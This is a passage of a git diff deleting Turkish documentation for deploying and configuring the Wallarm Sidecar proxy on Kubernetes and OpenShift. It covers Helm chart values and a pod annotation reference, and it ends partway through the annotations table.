- ```yaml hl_lines="16-17 34" - apiVersion: apps/v1 - kind: Deployment - metadata: - name: myapp - namespace: default - spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/sidecar-injection-iptables-enable: "false" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 - --- - apiVersion: v1 - kind: Service - metadata: - name: myapp-svc - namespace: default - spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp - ``` - - Uygulamayı bir OpenShift Route üzerinden yayımlarken, `spec.ports.targetPort` değerini `26001` olarak ayarlayın. -1. Güncellenmiş yapılandırma ile uygulamayı dağıtın: - - ```bash - kubectl -n apply -f - ``` -1. Doğru SCC'nin Wallarm pod'larına uygulandığını doğrulayın: - - ```bash - WALLARM_SIDECAR_NAMESPACE="wallarm-sidecar" - POD=$(kubectl -n ${WALLARM_SIDECAR_NAMESPACE} get pods -o name -l "app.kubernetes.io/component=postanalytics" | cut -d '/' -f 2) - kubectl -n ${WALLARM_SIDECAR_NAMESPACE} get pod ${POD} -o jsonpath='{.metadata.annotations.openshift\.io\/scc}{"\n"}' - ``` - - Beklenen çıktı `wallarm-sidecar-deployment`'tır. -1. Enjekte edilen Sidecar konteyneri bu UID aralığında çalıştığından, uygulama pod'unuza `wallarm-sidecar-deployment` ile aynı SCC'yi verin; gerekli UID aralığına izin verdiğinden emin olun. - - `wallarm-sidecar-deployment` politikasını atamak için aşağıdaki komutu kullanın: - - ```bash - APP_NAMESPACE= - POD_NAME= - APP_POD_SERVICE_ACCOUNT_NAME=$(oc get pod $POD_NAME -n $APP_NAMESPACE -o jsonpath='{.spec.serviceAccountName}') - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - system:serviceaccount:$APP_NAMESPACE:$APP_POD_SERVICE_ACCOUNT_NAME - ``` - - Prod ortamında, uygulamanızın ve Wallarm'ın ihtiyaçlarına uygun özel bir SCC oluşturun. - -## Özelleştirme - -Wallarm pod'ları, [varsayılan `values.yaml`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) ve 2. dağıtım adımında belirttiğiniz özel yapılandırmaya göre enjekte edilmiştir. - -Wallarm proxy davranışını hem global hem de pod bazında daha da özelleştirerek, şirketiniz için Wallarm çözümünden en iyi şekilde yararlanabilirsiniz. - -Sadece [Wallarm proxy çözümü özelleştirme kılavuzuna](customization.md) ilerleyin. \ No newline at end of file diff --git a/docs/latest-tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/latest-tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index 447e30ead3..0000000000 --- a/docs/latest-tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,399 +0,0 @@ -# Sidecar Helm Chart’ının Wallarm’a Özgü Değerleri - -Bu belge, [Wallarm Sidecar dağıtımı](deployment.md) veya [yükseltme][sidecar-upgrade-docs] sırasında değiştirebileceğiniz Wallarm’a özgü Helm chart değerlerini açıklar. Wallarm’a özgü ve diğer chart değerleri, Sidecar Helm chart’ının küresel yapılandırması içindir. - -!!! info "Küresel ve pod bazlı ayarların öncelikleri" - Pod bazlı annotation’lar [Helm chart değerlerine göre önceliklidir](customization.md#configuration-area). - -Değiştirmeniz gerekebilecek [varsayılan `values.yaml`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) dosyasının Wallarm’a özgü kısmı aşağıdaki gibidir: - -```yaml -config: - wallarm: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - caVerify: true - nodeGroup: "defaultSidecarGroup" - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - apiFirewall: - mode: "on" - readBufferSize: 8192 - writeBufferSize: 8192 - maxRequestBodySize: 4194304 - disableKeepalive: false - maxConnectionsPerIp: 0 - maxRequestsPerConnection: 0 - metrics: - enabled: false - endpointName: "metrics" - host: ":9010" - fallback: "on" - mode: monitoring - modeAllowOverride: "on" - enableLibDetection: "on" - parseResponse: "on" - aclExportEnable: "on" - parseWebsocket: "off" - unpackResponse: "on" - ... - nginx: - workerProcesses: auto - workerConnections: 4096 - logs: - extended: false - format: text - -postanalytics: - external: - enabled: false - host: "" - port: 3313 - wstore: - config: - arena: "2.0" - serviceAddress: "[::]:3313" - ### TLS yapılandırma ayarları (isteğe bağlı) - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" - ... -# Özel admission webhook sertifika sağlama için isteğe bağlı bölüm -# controller: -# admissionWebhook: -# certManager: -# enabled: false -# secret: -# enabled: false -# ca: -# crt: -# key: -``` - -## config.wallarm.api.token - -Bir filtreleme düğümü belirteci değeri. Wallarm API’sine erişim için gereklidir. - -Belirteç aşağıdaki [türlerden][node-token-types] biri olabilir: - -* **API token (önerilir)** - UI organizasyonu için düğüm gruplarını dinamik olarak ekleyip/çıkarmanız gerektiğinde veya ek güvenlik için belirteç yaşam döngüsünü kontrol etmek istediğinizde idealdir. API belirteci oluşturmak için: - - API belirteci oluşturmak için: - - 1. Wallarm Console → **Settings** → **API tokens** bölümüne [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde gidin. - 1. **Node deployment/Deployment** kullanım türüyle bir API belirteci oluşturun. - 1. Düğüm dağıtımı sırasında oluşturulan belirteci kullanın ve `config.wallarm.api.nodeGroup` parametresi ile grup adını belirtin. Farklı API belirteçleri kullanarak bir gruba birden fazla düğüm ekleyebilirsiniz. -* **Düğüm belirteci** - Hangi düğüm gruplarının kullanılacağını zaten biliyorsanız uygundur. - - Düğüm belirteci oluşturmak için: - - 1. Wallarm Console → **Nodes** bölümüne [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde gidin. - 1. Bir düğüm oluşturun ve düğüm grubuna bir ad verin. - 1. Düğüm dağıtımı sırasında, bu gruba dahil etmek istediğiniz her düğüm için grubun belirtecini kullanın. - -[`config.wallarm.api.existingSecret.enabled: true`](#configwallarmapiexistingsecret) ise bu parametre yok sayılır. - -## config.wallarm.api.host - -Wallarm API uç noktası. Şunlardan biri olabilir: - -* [US cloud][us-cloud-docs] için `us1.api.wallarm.com` -* [EU cloud][eu-cloud-docs] için `api.wallarm.com` (varsayılan) - -## config.wallarm.api.nodeGroup - -Yeni dağıtılan düğümleri eklemek istediğiniz filtreleme düğümleri grubunun adını belirtir. Bu şekilde düğüm gruplama yalnızca, **Node deployment/Deployment** kullanım türüne sahip bir API belirteci kullanarak düğümleri oluşturup Cloud’a bağladığınızda kullanılabilir (değeri `config.wallarm.api.token` parametresinde iletilir). - -**Varsayılan değer**: `defaultSidecarGroup` - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-node-group`. - -## config.wallarm.api.existingSecret - -Helm chart sürümü 4.4.4’ten itibaren, Wallarm düğüm belirteci değerini Kubernetes secret’larından çekmek için bu yapılandırma bloğunu kullanabilirsiniz. Ayrı bir secret yönetiminin olduğu ortamlar için faydalıdır (ör. harici bir secrets operator kullanıyorsanız). - -Düğüm belirtecini K8s secret’larında saklamak ve Helm chart’a çekmek için: - -1. Wallarm düğüm belirteci ile bir Kubernetes secret oluşturun: - - ```bash - kubectl -n wallarm-sidecar create secret generic wallarm-api-token --from-literal=token= - ``` - - * Dağıtım talimatlarını değişiklik yapmadan takip ettiyseniz, `wallarm-sidecar`, Wallarm Sidecar controller’ı ile Helm sürümü için oluşturulan Kubernetes namespace’idir. Farklı bir namespace kullanıyorsanız adı değiştirin. - * `wallarm-api-token` Kubernetes secret adıdır. - * ``, Wallarm Console UI’dan kopyalanan Wallarm düğüm belirteci değeridir. - - Harici bir secrets operator kullanıyorsanız, bir secret oluşturmak için [uygun dokümantasyonu izleyin](https://external-secrets.io). -1. `values.yaml` içinde aşağıdaki yapılandırmayı ayarlayın: - - ```yaml - config: - wallarm: - api: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**Varsayılan değer**: Helm chart’ın Wallarm düğüm belirtecini `config.wallarm.api.token` üzerinden almasını sağlayan `existingSecret.enabled: false`. - -## config.wallarm.apiFirewall - -Sürüm 4.10’dan itibaren kullanılabilen [API Specification Enforcement][api-spec-enforcement-docs] yapılandırmasını kontrol eder. Varsayılan olarak etkindir ve aşağıda gösterildiği gibi yapılandırılmıştır. Bu özelliği kullanıyorsanız, bu değerleri değiştirmemeniz önerilir. - -```yaml -config: - wallarm: - apiFirewall: - mode: "on" - readBufferSize: 8192 - writeBufferSize: 8192 - maxRequestBodySize: 4194304 - disableKeepalive: false - maxConnectionsPerIp: 0 - maxRequestsPerConnection: 0 -``` - -Düğüm 5.3.0’dan beri, aşağıdakiler sunulmaktadır (varsayılan değerler yukarıdaki örnekte gösterilmiştir): - -| Ayar | Açıklama | -| ------- | ----------- | -| `readBufferSize` | İstek okumak için bağlantı başına tampon boyutu. Bu aynı zamanda maksimum header boyutunu sınırlar. İstemcileriniz çok KB’lık RequestURI ve/veya çok KB’lık header’lar (örneğin BÜYÜK çerezler) gönderiyorsa bu tamponu artırın. | -| `writeBufferSize` | Yanıt yazmak için bağlantı başına tampon boyutu. | -| `maxRequestBodySize` | Maksimum istek gövdesi boyutu. Bu sınırı aşan gövdeye sahip istekler sunucu tarafından reddedilir. | -| `disableKeepalive` | Keep-alive bağlantılarını devre dışı bırakır. Bu seçenek `true` ise sunucu, müşteriye ilk yanıtı gönderdikten sonra gelen tüm bağlantıları kapatır. | -| `maxConnectionsPerIp` | IP başına izin verilen eşzamanlı istemci bağlantılarının maksimum sayısı. `0` = `sınırsız`. | -| `maxRequestsPerConnection` | Bağlantı başına hizmet verilecek maksimum istek sayısı. Sunucu son istekten sonra bağlantıyı kapatır. Son yanıta `Connection: close` header’ı eklenir. `0` = `sınırsız`. | - -## config.wallarm.apiFirewall.metrics - -Sürüm 6.5.1’den itibaren, [API Specification Enforcement][api-spec-enforcement-docs] modülü Prometheus uyumlu metrikleri sunabilir. - -Etkinleştirildiğinde, metrikler varsayılan olarak `http://:9010/metrics` adresinde mevcuttur. - -| Ayar | Açıklama | -| ------- | ----------- | -| `enabled` | API Specification Enforcement modülü için Prometheus metriklerini etkinleştirir.
              Varsayılan: `false` (devre dışı). | -| `endpointName` | API Specification Enforcement metrik uç noktasının HTTP yolunu tanımlar.
              Varsayılan: `metrics`. | -| `host` | API Specification Enforcement’ın metrikleri sunduğu host ve port’u tanımlar.
              Varsayılan: `:9010` (tüm arayüzler, 9010 portu). | - -```yaml -config: - wallarm: - apiFirewall: - metrics: - enabled: false - endpointName: "metrics" - host: ":9010" -``` - -## config.wallarm.fallback - -Değeri `on` (varsayılan) olduğunda, NGINX servisleri acil durum moduna geçme kabiliyetine sahiptir. Wallarm Cloud kullanılamadığı için proton.db veya özel kural seti indirilemiyorsa, bu ayar Wallarm modülünü devre dışı bırakır ve NGINX’in çalışmaya devam etmesini sağlar. - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-fallback`. - -## config.wallarm.mode - -Küresel [trafik filtrleme modu][configure-wallarm-mode-docs]. Olası değerler: - -* `monitoring` (varsayılan) -* `safe_blocking` -* `block` -* `off` - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode`. - -## config.wallarm.modeAllowOverride - -[`wallarm_mode` değerlerini Cloud’daki ayarlar üzerinden geçersiz kılma yeteneğini][filtration-mode-priorities-docs] yönetir. Olası değerler: - -* `on` (varsayılan) -* `off` -* `strict` - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode-allow-override`. - -## config.wallarm.enableLibDetection - -[libdetection][libdetection-docs] kütüphanesini kullanarak SQL Injection saldırılarını ayrıca doğrulayıp doğrulamayacağını belirler. Olası değerler: - -* `on` (varsayılan) -* `off` - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-enable-libdetection`. - -## config.wallarm.parseResponse - -Uygulama yanıtlarının saldırılar için analiz edilip edilmeyeceğini belirler. Olası değerler: - -* `on` (varsayılan) -* `off` - -Yanıt analizi, [pasif tespit][passive-detection-docs] ve [tehdit yeniden yürütme testleri][active-threat-verification-docs] sırasında güvenlik açığı tespiti için gereklidir. - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-response`. - -## config.wallarm.aclExportEnable - -Düğümden Cloud’a [denylist’teki][denylist-docs] IP’lerden gelen isteklerle ilgili istatistiklerin gönderilmesini `on` etkinleştirir / `off` devre dışı bırakır. - -* `config.wallarm.aclExportEnable: "on"` (varsayılan) ile denylist’teki IP’lerden gelen isteklerle ilgili istatistikler **Attacks** bölümünde [görüntülenecektir][denylist-view-events-docs]. -* `config.wallarm.aclExportEnable: "off"` ile denylist’teki IP’lerden gelen isteklerle ilgili istatistikler görüntülenmeyecektir. - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-acl-export-enable`. - -## config.wallarm.parseWebsocket - -Wallarm, WebSocket’leri tam olarak destekler. Varsayılan olarak, WebSocket mesajları saldırılar için analiz edilmez. Özelliği zorlamak için, API Security [subscription plan]’ını[subscriptions-docs] etkinleştirin ve bu ayarı kullanın. - -Olası değerler: - -* `on` -* `off` (varsayılan) - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-websocket`. - -## config.wallarm.unpackResponse - -Uygulama yanıtında döndürülen sıkıştırılmış verilerin açılıp açılmayacağı: - -* `on` (varsayılan) -* `off` - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/wallarm-unpack-response`. - -## config.nginx.workerConnections - -Bir NGINX worker süreci tarafından açılabilecek [eşzamanlı bağlantıların maksimum sayısı](http://nginx.org/en/docs/ngx_core_module.html#worker_connections). - -**Varsayılan değer**: `4096`. - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/nginx-worker-connections`. - -## config.nginx.workerProcesses - -[NGINX worker süreç sayısı](http://nginx.org/en/docs/ngx_core_module.html#worker_processes). - -**Varsayılan değer**: `auto`, yani worker sayısı CPU çekirdek sayısına eşittir. - -[**Pod anotasyonu**](pod-annotations.md): `sidecar.wallarm.io/nginx-worker-processes`. - -## config.nginx.logs.extended - -NGINX’te genişletilmiş loglamayı etkinleştirir. Genişletilmiş loglar istek süresi, upstream yanıt süresi, istek uzunluğu, bağlantı detayları vb. içerir. - -5.3.0 sürümünden itibaren desteklenir. - -**Varsayılan değer**: `false`. - -## config.nginx.logs.format - -`config.nginx.logs.extended` `true` olduğunda genişletilmiş logların formatını belirtir. `text` ve `json` formatlarını destekler. - -5.3.0 sürümünden itibaren desteklenir. - -**Varsayılan değer**: `text`. - -## postanalytics.external.enabled - -Harici bir host üzerine kurulu Wallarm postanalytics (wstore) modülünü mü yoksa Sidecar çözümü dağıtımı sırasında kurulanı mı kullanacağınızı belirler. - -Bu özellik Helm sürümü 4.6.4’ten itibaren desteklenir. - -Olası değerler: - -* `false` (varsayılan): Sidecar çözümü tarafından dağıtılan postanalytics modülünü kullan. -* `true`: Etkinleştirilirse, lütfen `postanalytics.external.host` ve `postanalytics.external.port` değerlerinde postanalytics modülünün harici adresini belirtin. - - `true` olarak ayarlanırsa, Sidecar çözümü postanalytics modülünü çalıştırmaz, ancak ona belirtilen `postanalytics.external.host` ve `postanalytics.external.port` üzerinden ulaşılmasını bekler. - -## postanalytics.external.host - -Ayrı olarak kurulu postanalytics modülünün alan adı veya IP adresi. `postanalytics.external.enabled` `true` ise bu alan gereklidir. - -Bu özellik Helm sürümü 4.6.4’ten itibaren desteklenir. - -Örnek değerler: `wstore.domain.external` veya `10.10.0.100`. - -Belirtilen host, Sidecar Helm chart’ının dağıtıldığı Kubernetes kümesinden erişilebilir olmalıdır. - -## postanalytics.external.port - -Wallarm postanalytics modülünün çalıştığı TCP portu. Varsayılan olarak 3313 portunu kullanır, çünkü Sidecar çözümü modülü bu portta dağıtır. - -`postanalytics.external.enabled` `true` ise, modülün belirtilen harici host üzerinde çalıştığı portu belirtin. - -## postanalytics.wstore.config.serviceAddress - -**wstore**’un gelen bağlantıları kabul ettiği adres ve portu belirtir. - -Sürüm 6.3.0’dan itibaren desteklenir. - -**Varsayılan değer**: `[::]:3313` - tüm IPv4 ve IPv6 arayüzlerinde 3313 portunu dinler. Bu, 6.3.0 öncesi sürümlerdeki varsayılan davranışla da aynıdır. - -## postanalytics.wstore.tls - -Postanalytics modülüne güvenli bağlantı sağlamak için TLS ve karşılıklı TLS (mTLS) ayarlarını yapılandırır (isteğe bağlı): - -```yaml -config: - wstore: - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" - -``` - -Sürüm 6.2.0’dan itibaren desteklenir. - -| Parametre | Açıklama | Gerekli mi? | -| --------- | ----------- | --------- | -| `enabled` | Postanalytics modülüne bağlantı için SSL/TLS’i etkinleştirir veya devre dışı bırakır. Varsayılan olarak `false` (devre dışı). | Evet | -| `certFile` | Filtreleme Düğümü’nün postanalytics modülüne SSL/TLS bağlantısı kurarken kendini doğrulamak için kullandığı istemci sertifikasının yolunu belirtir. | `mutualTLS.enabled` `true` ise Evet | -| `keyFile` | `certFile` ile sağlanan istemci sertifikasına karşılık gelen özel anahtarın yolunu belirtir. | `mutualTLS.enabled` `true` ise Evet | -| `caCertFile` | Postanalytics modülü tarafından sunulan TLS sertifikasını doğrulamak için kullanılan güvenilir Sertifika Yetkilisi (CA) sertifikasının yolunu belirtir. | Özel bir CA kullanılıyorsa Evet | -| `mutualTLS.enabled` | Hem Filtreleme Düğümü’nün hem de postanalytics modülünün birbirlerinin kimliğini sertifikalarla doğruladığı karşılıklı TLS’i (mTLS) etkinleştirir. Varsayılan olarak `false` (devre dışı). | Hayır | -| `mutualTLS.clientCACertFile` | Filtreleme Düğümü tarafından sunulan TLS sertifikasını doğrulamak için kullanılan güvenilir CA sertifikasının yolunu belirtir. | Özel bir CA kullanılıyorsa Evet | - -## controller.admissionWebhook.certManager.enabled - -Varsayılan [`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen) yerine admission webhook sertifikasını üretmek için [`cert-manager`](https://cert-manager.io/) kullanılıp kullanılmayacağını belirler. Sürüm 4.10.7’den itibaren desteklenir. - -**Varsayılan değer**: `false`. - -## controller.admissionWebhook.secret.enabled - -Varsayılan [`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen) yerine admission webhook için sertifikaların manuel olarak yüklenip yüklenmeyeceğini belirler. Sürüm 4.10.7’den itibaren desteklenir. - -**Varsayılan değer**: `false`. - -`true` olarak ayarlanırsa, base64 ile kodlanmış CA sertifikasını, sunucu sertifikasını ve özel anahtarı belirtin, örneğin: - -```yaml -controller: - admissionWebhook: - secret: - enabled: true - ca: - crt: - key: -``` \ No newline at end of file diff --git a/docs/latest-tr/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/latest-tr/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 2e367751e3..0000000000 --- a/docs/latest-tr/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,95 +0,0 @@ -# Wallarm Sidecar tarafından desteklenen Pod annotasyonları - -[Wallarm Sidecar çözümü](deployment.md), pod başına annotasyonlar aracılığıyla yapılandırılabilir. Bu çözümde desteklenen annotasyonların listesi bu belgede açıklanmaktadır. - -!!! info "Global ve pod başına ayarların öncelikleri" - Pod başına annotasyonlar, Helm chart değerlerine [üstün gelir](customization.md#configuration-area). - -## Annotasyon listesi - -| Annotasyon ve karşılık gelen chart değeri | Açıklama | -|-------------------------------------|------------------------------------------------------------------| -| **Annotasyon:** `sidecar.wallarm.io/sidecar-injection-schema`

              `config.injectionStrategy.schema` | [Wallarm konteyner dağıtım deseni](customization.md#single-and-split-deployment-of-containers): `single` (varsayılan) veya `split`. | -| **Annotasyon:** `sidecar.wallarm.io/sidecar-injection-iptables-enable`

              `config.injectionStrategy.iptablesEnable` | [`iptables` init konteynerinin başlatılıp başlatılmayacağı](customization.md#capturing-incoming-traffic-port-forwarding): `true` (varsayılan) veya `false`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-application`

              Chart değeri yok | [Wallarm uygulama kimliği][applications-docs]. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-block-page`

              Chart değeri yok | Engellenen isteklere döndürülecek [engelleme sayfası ve hata kodu][custom-blocking-page-docs]. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-enable-libdetection`

              `config.wallarm.enableLibDetection` | [libdetection][libdetection-docs] kütüphanesini kullanarak SQL Injection saldırılarını ayrıca doğrulayıp doğrulamayacağı: `on` (varsayılan) veya `off`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-fallback`

              `config.wallarm.fallback` | [Wallarm fallback modu][fallback-mode-docs]: `on` (varsayılan) veya `off`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-mode`

              `config.wallarm.mode` | [Trafik filtreleme modu][wallarm-modes-docs]: `monitoring` (varsayılan), `safe_blocking`, `block` veya `off`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-mode-allow-override`

              `config.wallarm.modeAllowOverride` | Cloud’daki ayarlar üzerinden `wallarm_mode` değerlerini geçersiz kılma [olasılığını yönetir][filtration-mode-priorities-docs]: `on` (varsayılan), `off` veya `strict`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-node-group`

              `config.wallarm.api.nodeGroup` | Yeni dağıtılan düğümleri eklemek istediğiniz filtreleme düğümleri grubunun adını belirtir. Bu şekilde düğüm gruplama yalnızca, kullanım türü **Node deployment/Deployment** olan bir API belirteci kullanarak düğümleri Cloud’a oluşturup bağladığınızda kullanılabilir (değeri `config.wallarm.api.token` parametresinde iletilir).
              Bu değer postanalytics pod’ları üzerinde etkili değildir, onlar için düğümler her zaman `config.wallarm.api.nodeGroup` Helm chart değerinde belirtilen düğüm grubuna bağlanır. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-parser-disable`

              Chart değeri yok | [Parsers][parsers-docs] devre dışı bırakılabilir. Yönerge değerleri devre dışı bırakılacak parser’ın adına karşılık gelir, ör. `json`. Birden fazla parser noktalı virgülle ayrılarak belirtilebilir, ör. `json;base64`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-parse-response`

              `config.wallarm.parseResponse` | Uygulama yanıtlarının saldırılar için analiz edilip edilmeyeceği: `on` (varsayılan) veya `off`. Yanıt analizi, [pasif tespit][passive-detection-docs] ve [tehdit tekrar yürütme testleri][active-threat-verification-docs] sırasında güvenlik açığı tespiti için gereklidir. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-acl-export-enable`

              `config.wallarm.aclExportEnable` | Düğümden Cloud’a, [denylist’e alınmış][denylist-docs] IP’lerden gelen isteklerle ilgili istatistiklerin gönderilmesini etkinleştirir `on` / devre dışı bırakır `off`.
              • `"on"` değeri (varsayılan) ile denylist’e alınmış IP’lerden gelen isteklere ilişkin istatistikler **Attacks** bölümünde [görüntülenir][denylist-view-events-docs].
              • `"off"` değeri ile denylist’e alınmış IP’lerden gelen isteklere ilişkin istatistikler görüntülenmez.
              | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-parse-websocket`

              `config.wallarm.parseWebsocket` | Wallarm, WebSocket’leri tam olarak destekler. Varsayılan olarak WebSocket mesajları saldırılar için analiz edilmez. Özelliği zorlamak için API Security [abonelik planını][subscriptions-docs] etkinleştirin ve bu annotasyonu kullanın: `on` veya `off` (varsayılan). | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-unpack-response`

              `config.wallarm.unpackResponse` | Uygulama yanıtında döndürülen sıkıştırılmış verilerin açılıp açılmayacağı: `on` (varsayılan) veya `off`. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-upstream-connect-attempts`

              `config.wallarm.upstream.connectAttempts` | postanalytics veya Wallarm API’ye anında yeniden bağlanma denemelerinin sayısını tanımlar. | -| **Annotasyon:** `sidecar.wallarm.io/wallarm-upstream-reconnect-interval`

              `config.wallarm.upstream.reconnectInterval` | Anında yeniden bağlanma denemeleri sayısına ilişkin eşik aşıldıktan sonra postanalytics veya Wallarm API’ye yeniden bağlanma denemeleri arasındaki aralığı tanımlar. | -| **Annotasyon:** `sidecar.wallarm.io/application-port`

              `config.nginx.applicationPort` | [Herhangi bir yayınlanmış uygulama pod portu bulunamazsa](customization.md#application-container-port-auto-discovery), Wallarm konteyneri gelen isteklerin yönlendirileceği port olarak bu portu bekler. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-listen-port`

              `config.nginx.listenPort` | Wallarm konteynerinin dinlediği port. Bu port Wallarm sidecar çözümü tarafından kullanım için ayrılmıştır, `application-port` ile aynı olamaz. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-http-include`

              Chart değeri yok | NGINX yapılandırmasının `http` seviyesinde [include edilmesi gereken](customization.md#using-custom-nginx-configuration) NGINX yapılandırma dosyalarının yolları (dizi). Dosya konteynere mount edilmelidir ve bu yol konteyner içindeki dosyayı işaret etmelidir. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-http-snippet`

              Chart değeri yok | NGINX yapılandırmasının `http` seviyesine dahil edilmesi gereken [ek satır içi yapılandırma](customization.md#using-custom-nginx-configuration). | -| **Annotasyon:** `sidecar.wallarm.io/nginx-server-include`

              Chart değeri yok | NGINX yapılandırmasının `server` seviyesinde [include edilmesi gereken](customization.md#using-custom-nginx-configuration) NGINX yapılandırma dosyalarının yolları (dizi). Dosya konteynere mount edilmelidir ve bu yol konteyner içindeki dosyayı işaret etmelidir. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-server-snippet`

              Chart değeri yok | NGINX yapılandırmasının `server` seviyesine dahil edilmesi gereken [ek satır içi yapılandırma](customization.md#using-custom-nginx-configuration). | -| **Annotasyon:** `sidecar.wallarm.io/nginx-location-include`

              Chart değeri yok | NGINX yapılandırmasının `location` seviyesinde [include edilmesi gereken](customization.md#using-custom-nginx-configuration) NGINX yapılandırma dosyalarının yolları (dizi). Dosya konteynere mount edilmelidir ve bu yol konteyner içindeki dosyayı işaret etmelidir. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-location-snippet`

              Chart değeri yok | NGINX yapılandırmasının `location` seviyesine dahil edilmesi gereken [ek satır içi yapılandırma](customization.md#using-custom-nginx-configuration). | -| **Annotasyon:** `sidecar.wallarm.io/nginx-extra-modules`

              Chart değeri yok | Etkinleştirilecek [ek NGINX modülleri](customization.md#enabling-additional-nginx-modules) dizisi. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-worker-connections`

              `config.nginx.workerConnections` | Bir NGINX worker süreci tarafından açılabilecek [eşzamanlı bağlantıların maksimum sayısı](http://nginx.org/en/docs/ngx_core_module.html#worker_connections). Varsayılan olarak chart değeri `4096`’dır. | -| **Annotasyon:** `sidecar.wallarm.io/nginx-worker-processes`

              `config.nginx.workerProcesses` | [NGINX worker süreç sayısı](http://nginx.org/en/docs/ngx_core_module.html#worker_processes). Varsayılan olarak chart değeri `auto`’dur; bu, worker sayısının CPU çekirdeği sayısına eşitlendiği anlamına gelir. | -| **Annotasyon:** `sidecar.wallarm.io/proxy-extra-volumes`

              Chart değeri yok | Pod’a eklenecek [özel volume’ler](customization.md#include) (dizi). Annotasyon değeri tek tırnak içine alınmalıdır `''`. | -| **Annotasyon:** `sidecar.wallarm.io/proxy-extra-volume-mounts`

              Chart değeri yok | `sidecar-proxy` konteynerine eklenecek [özel volume mount’lar](customization.md#include) (JSON nesnesi). Annotasyon değeri tek tırnak içine alınmalıdır `''`. | -| **Annotasyon:** `sidecar.wallarm.io/proxy-cpu`

              `config.sidecar.containers.proxy.resources.requests.cpu` | `sidecar-proxy` konteyneri için [istenen CPU](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/proxy-memory`

              `config.sidecar.containers.proxy.resources.requests.memory` | `sidecar-proxy` konteyneri için [istenen bellek](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/proxy-cpu-limit`

              `config.sidecar.containers.proxy.resources.limits.cpu` | `sidecar-proxy` konteyneri için [CPU limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/proxy-memory-limit`

              `config.sidecar.containers.proxy.resources.limits.memory` | `sidecar-proxy` konteyneri için [bellek limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/helper-cpu`

              `config.sidecar.containers.helper.resources.requests.cpu` | `sidecar-helper` konteyneri için [istenen CPU](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/helper-memory`

              `config.sidecar.containers.helper.resources.requests.memory` | `sidecar-helper` konteyneri için [istenen bellek](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/helper-cpu-limit`

              `config.sidecar.containers.helper.resources.limits.cpu` | `sidecar-helper` konteyneri için [CPU limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/helper-memory-limit`

              `config.sidecar.containers.helper.resources.limits.memory` | `sidecar-helper` konteyneri için [bellek limiti](customization.md#per-pod-settings). | -| **Annotasyon:** `sidecar.wallarm.io/init-iptables-cpu`

